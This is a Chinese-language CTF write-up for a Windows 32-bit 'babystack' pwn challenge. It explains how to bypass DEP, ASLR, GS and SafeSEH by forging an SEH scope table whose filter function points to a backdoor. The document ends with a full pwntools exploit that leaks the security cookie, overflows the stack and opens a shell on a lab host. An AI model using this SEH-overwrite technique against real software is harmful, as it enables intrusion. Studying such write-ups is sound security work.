0x00 前言
学习Windows Pwn的第二步,感觉不baby啊。
0x01 查看文件
利用checksec脚本查看保护机制
我们看到DEP开启也就是说数据不可执行,地址随机化开启,GS开启,SEH保护开启
0x02 IDA分析
首先看到主函数里面给了栈地址和程序加载基址,并且还有个栈溢出
0x03 调试
搞了好久,最后还是有点问题。静态调试用windbg,可以看到更为详细的异常处理部分。动态调试就IDA attach进程吧。从exp里面起调试器不管是gdb还是windbg都有问题,我服了。windbg挺好用的,有自己的执行命令,查看内存什么的都可以。就是没办法动调,贼烦,害。
最后动调的方式:利用win_server起一个端口,远程exp打过去,再windows10本地起windbg来attach上去调试。
我们利用windbg对babystack进行静态调试,令其读取0x0地址的内容,我调了一下午也没看出异常处理和main函数执行前压栈的那个SEH地址有什么关系。
由于eax我们赋值0,所以在这里找0地址的数据会出现异常
就快要放弃的时候,糊里糊涂的解决了这个问题,我们调试的时候断在压SEH函数的地方,找到该值0xaaaa,于是在这里下个断点bp 0xaaaa,再g下去,我们看到通过输入找0地址的命令后,会断在上面那条:
mov ecx dword ptr [eax];处,此时再g下去,我们便可以断在SEH函数位置了
0x04 Safe-SEH绕过&源码分析
这是由于Safe-SEH的开启,导致不在__safe_se_handler_table的SEH都不能运行,也就是说无法直接劫持异常捕获函数来getshell(为什么上面的safeSEH是关闭的呢。。。)
_except_handler4_common:
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}
ValidateLocalCookies:
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer){
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
函数大概做了这些事情:
1.利用securityCookies 异或 (sehFrame + 8) 得到scopeTable_1,再得到scopeTable
2.根据栈得到framePointer
调用到了 scope table里面的filterFunc和handlerFunc函数,因为程序有后门函数 , 如果我们想调用这个后门函数,我们需要伪造一个scopetable然后将里面的filterFunc或handlerFunc函数改为后面函数,只要溢出覆盖了以前的scopetable我们就能执行后门函数,这里选择覆盖filterFunc,为什么呢,枪打出头鸟,谁叫它先出来。
为了伪造FilterFunc首先我们要知道__security_cookie的值,他是在程序镜像上的,因为程序已经泄露了main地址,所以我们可以根据该地址直接计算出来,然后我们就能伪造Scope Table的地址了。
但是其还有一个ValidateLocalCookies验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,通常计算可得该值的地址为stack_addr + 0x68,所以在溢出的时候我们只要提前设置好该值就行。
我们可以劫持scopeTable地址,我们可以令scopeTable->GSCookieOffset的值为-2这样就可以绕过部分检查
payload = "a"*0x10
payload+= p32(0xfffffffe) # scopeTable -> GSCookieOffset
payload+= p32(0) # scopeTable -> GSCookieXorOffset
payload+= p32(0xffffffcc) # scopeTable -> EHCookieOffset
payload+= p32(0) # scopeTable -> EHCookieXorOffset
payload+= p32(0xfffffffe) # scopeTable -> EncloseingLevel
payload+= p32(main_address+733) # scopeTable -> FilterFunc(backdoor)
payload+= 0x40*"a" # stack+0x68
payload+= p32((stack_addr+156)^ security_cookie) # GS_Cookie
payload+= 'c' * 32
payload+= p32(next_addr) # next,这里的栈地址也就是第四个参数sehFrame的值
payload+= p32(main_address+944) # except_handler4,这里就是为了令函数正常进入准备的异常捕获函数
payload+= p32((stack_addr+16)^ security_cookie) # scopeTable
payload+= p32(0)
payload+= "b"*16 # framePointer
调试过程:
之前一直没看懂那个图和调试时候栈的内存布局,这下总算搞懂,将SEH stack旋转180度,整个图呈现上low下high就很容易看懂了。
对于后面的ValidateLocalCookies的检查
我们看到将stack+0x9c作为参数传入,实际上是需要令
*(sehFrame+0x10)[-24]^(sehFrame+0x10)==security_cookie
也就是*(stack+0x68)^stack+0x9c = security_cookie
最后一个问题就是为什么next的值需要stack+0xd4,我看也没有用到啊。找到解释如下:Win10在检查SEH时, 还会检查SEH链, 也就是说, 我们覆盖后的Next需要指向一个正常的SEH, 保证SEH链的正常。好吧,那就这样了吧。
0x05 exp
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
sh = remote('192.168.241.130', 10009)
def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)
sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))
pause()
security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))
sh.sendline('n')
next_addr = stack_addr + 0xd4
log.success('next_addr: ' + hex(next_addr))
payload = "a"*0x10
payload+= p32(0xfffffffe) # scopeTable -> GSCookieOffset
payload+= p32(0) # scopeTable -> GSCookieXorOffset
payload+= p32(0xffffffcc) # scopeTable -> EHCookieOffset
payload+= p32(0) # scopeTable -> EHCookieXorOffset
payload+= p32(0xfffffffe) # scopeTable -> EncloseingLevel
payload+= p32(main_address+733) # scopeTable -> FilterFunc(backdoor)
payload+= 0x40*"a" # stack+0x68
payload+= p32((stack_addr+156)^ security_cookie) # GS_Cookie
payload+= 'c' * 32
payload+= p32(next_addr) # next,这里的栈地址也就是第四个参数sehFrame的值
payload+= p32(main_address+944) # except_handler4,这里就是为了令函数正常进入准备的异常捕获函数
payload+= p32((stack_addr+16)^ security_cookie) # scopeTable stack+0x98
payload+= p32(0)
payload+= "b"*16 # framePointer
sh.sendline(payload)
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
贴一张拿到win10 shell的截图: